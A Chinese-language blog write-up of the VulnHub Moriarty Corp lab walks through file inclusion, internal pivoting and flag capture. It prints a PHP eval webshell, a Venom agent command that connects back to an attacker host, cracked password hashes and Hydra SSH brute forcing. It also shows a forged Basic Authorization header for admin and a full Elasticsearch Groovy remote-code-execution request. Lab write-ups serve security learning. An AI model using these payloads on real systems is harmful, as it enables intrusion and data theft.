vulnhub_内网渗透测试记录


Moriarty Corp


主要考察知识点

        文件包含
        内网穿透
        命令上传
        弱口令
        更改权限
        HTTP协议Header
        ElasticSearch-CVE
        暴力破解

网络拓扑

写完之后把靶机的网络拓扑也做了一下

image.png-100.9kB

写在之前

这次用的虚拟机是VM_VirtualBox,第一次用,配置了许久,因为靶机是内网环境,所以有些网络配置需要手动调整

image.png-44.9kB

网络配置设置成如上,再次扫描IP,根据MAC地址就可以找到我们的靶机IP了。

靶机下载地址:

BoredHackerBlog: Moriarty Corp

渗透过程

IP发现

这里使用的windows的环境进行渗透测试,使用Advanced_IP_Scanner进行内网IP扫描

image.png-36.5kB

根据MAC地址发现IP,对获取到的IP进行端口扫描

端口扫描

这里使用的是御剑端口扫描器进行发现

image.png-45.9kB

发现存在8000端口和9000端口可疑端口,尝试进行WEB访问

WEB渗透

访问8000端口

image.png-72.8kB

是一个提交flag的页面,同时显示了我们的任务进度,首先根据提示提交第一个flag

再次显示新的提示

image.png-91.3kB

结合强大的百度翻译和谷歌翻译,大概明白了让我们从80端口开始渗透,然后在此提交flag,这个时候再次访问80端口

image.png-45.1kB

已经可以成功访问了,正式开始我们的渗透过程

image.png-75.9kB

根据url发现疑似存在文件包含漏洞,尝试读取一下敏感数据

image.png-195kB

成功读取/etc/passwd文件,我们构造一下查看能否远程包含webshell

首先在本地服务器构造webshell

<?php
eval($_REQUEST['pdsdt']);
echo 'Welcome Hacker';
phpinfo();
?>

尝试远程文件包含

image.png-80.5kB

成功包含远程文件,使用蚁剑链接webshell

image.png-76.6kB

找寻flag和下一步的信息

在根目录下发现flag文件

image.png-35kB

在8000页面进行提交,提交完毕之后再次给了我们提示

image.png-42.5kB

大概意思就是告诉我们网站的web服务已经没有什么有价值的信息了,下一步需要内网渗透,同时给了我们内网的网段,下一步就是转发流量进行内网渗透了

内网渗透-设置代理

设置内网代理,这里设置内网代理的方式有很多种,也可以使用MSF全程进行测试,因为为了方便,这里使用的是Venom&proxifier进行流量转发

首先上传agent服务端节点

image.png-31.7kB

在windows端启动admin程序监听

admin.exe -lport 9999

在agent端修改程序权限为777,并执行命令

./agent_linux_x64 -rhost 192.168.1.101 -rport 9999

image.png-103.9kB

成功监听到数据

设置sock5代理

image.png-11.3kB

设置proxifier

image.png-18.9kB

尝试内网访问靶机

image.png-37.6kB

成功访问

下一步进行具体的内网漫游了

首先获取一下内网存活的靶机,根据题目提示的网段进行扫描

image.png-4.9kB

发现172.17.0.4的靶机存在web页面,尝试访问一下

image.png-15.2kB

发现是一个上传文件的点,同时需要我们输入密码才能成功上传,先burp抓包,跑一下常见的弱口令

image.png-55.4kB

抓到包了,尝试fuzz一下密码

当尝试弱口令password时,显示成功上传…

image.png-106.6kB

根据反馈的页面,尝试访问我们的webshell

image.png-121.6kB

证明成功上传,蚁剑连接一下

image.png-47kB

再次找到一个flag文件,尝试在8000页面提交

页面再次给出了提示

image.png-71.6kB

大概的意思就是给了我们用户名和加密的密码,让破解这些hash加密的密码后尝试ssh登陆

username:
root
toor
admin
mcorp
moriarty
password:
63a9f0ea7bb98050796b649e85481845
7b24afc8bc80e548d66c4e7ff72171c5
5f4dcc3b5aa765d61d8327deb882cf99
21232f297a57a5a743894a0e4a801fc3
084e0343a0486ff05530df6c705c8bb4
697c6cc76fdbde5baccb7b3400391e30
8839cfc8a0f24eb155ae3f7f205f5cbc
35ac704fe1cc7807c914af478f20fd35
b27a803ed346fbbf6d2e2eb88df1c51b
08552d48aa6d6d9c05dd67f1b4ba8747

同时提示我们密码需要暴力枚举,二话不说使用cmd5somd5,最后查询的结果:

hash值 明文
63a9f0ea7bb98050796b649e85481845 root
7b24afc8bc80e548d66c4e7ff72171c5 toor
5f4dcc3b5aa765d61d8327deb882cf99 password
21232f297a57a5a743894a0e4a801fc3 admin
084e0343a0486ff05530df6c705c8bb4 guest
697c6cc76fdbde5baccb7b3400391e30 MORIARTY
8839cfc8a0f24eb155ae3f7f205f5cbc MCORP
35ac704fe1cc7807c914af478f20fd35 mcorp
b27a803ed346fbbf6d2e2eb88df1c51b weapons
08552d48aa6d6d9c05dd67f1b4ba8747 moriarty

再次扫描一下内网存在22端口的机子

image.png-29.4kB

发现172.17.0.5的SSH端口是开放的,根据获取到的信息构造字典,使用SSH爆破工具进行爆破(最后使用Hydra进行爆破成功的)

image.png-212.5kB

获取到密码为:

root / weapons

使用xshell进行登陆

image.png-52.7kB

再次获取到flag

我们在8000端口进行提交,再次更新了提示

image.png-49kB

大概意思就是内网里面还有个聊天的程序,端口不在80让我们扫描一下他指定的几个端口,同时给了一个账户,让我们获取管理员用户的记录,先用指定的端口扫描一下网段

image.png-33.5kB

发现172.17.0.6的8000端口是开放的,尝试访问一下

image.png-11.4kB

提示我们需要登陆,根据刚才提示给我们的账户进行登陆

Here are the credentials our agent has obtained from another source:
username: buyer13
password: arms13

登陆成功

image.png-26.7kB

发现网站有两个功能,查看聊天记录,修改密码,尝试访问修改密码页面,抓一下包,看看是否存在任意用户密码重置

修改用户名为admin

image.png-58.8kB

浏览数据包,发现在header头中存在问题

image.png-30.6kB

Authorization: Basic YnV5ZXIxMzphcm1zMTM=

解密一下

image.png-8kB

携带的是用户的姓名和密码,我们尝试构造一下管理员的身份并修改密码为admin

Authorization: Basic YWRtaW46YWRtaW4=

回到web页面,重新登陆,或者更改header头访问

image.png-30kB

image.png-45.2kB

成功登陆admin用户,访问chats

image.png-63.1kB

再次获取到flag,提交

image.png-36kB

我看了半天,这不是ES嘛,最近做项目正在用的东西,真是巧儿他妈给巧儿开门,巧儿到家了,扫描一下网段的9200端口

image.png-29.9kB

访问一下页面,标准的ES搜索页面

image.png-55.4kB

尝试一下ES的任意代码执行漏洞

构造数据包,创建一条数据

POST /mitian/mitian6/ HTTP/1.1
Host: 172.17.0.7:9200
Content-Length: 19
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36
Origin: http://172.17.0.7:9200
Content-Type: text/plain
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://172.17.0.7:9200/mitian/mitian6/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

{  "name": "pdsdt"}

image.png-43.9kB

之后再search页面进行构造

POST /_search?pretty HTTP/1.1
Host: 172.17.0.7:9200
Content-Length: 156
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36
Origin: http://172.17.0.7:9200
Content-Type: text/plain
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://172.17.0.7:9200/mitian/mitian6/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

{"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"ls\").getText()"}}}

image.png-68.7kB

成功执行命令,读取一下flag

image.png-15.6kB

成功获取到flag文件,提交

image.png-33.5kB

显示任务完成,将我们的IP加入了黑名单,真就卸磨杀驴

总结

这个靶机花了我大半天的时间,主要还是在网络配置上面的捯饬,内网的靶机每一个都不太难,重要的就是如何通过流量转发后正确的使用一些工具达到扫描端口爆破服务的目的,总体的收获还是挺大的,因为自己最近就在使用ES,对于ES的相关漏洞这次也加强了学习。


发表评论

电子邮件地址不会被公开。 必填项已用*标注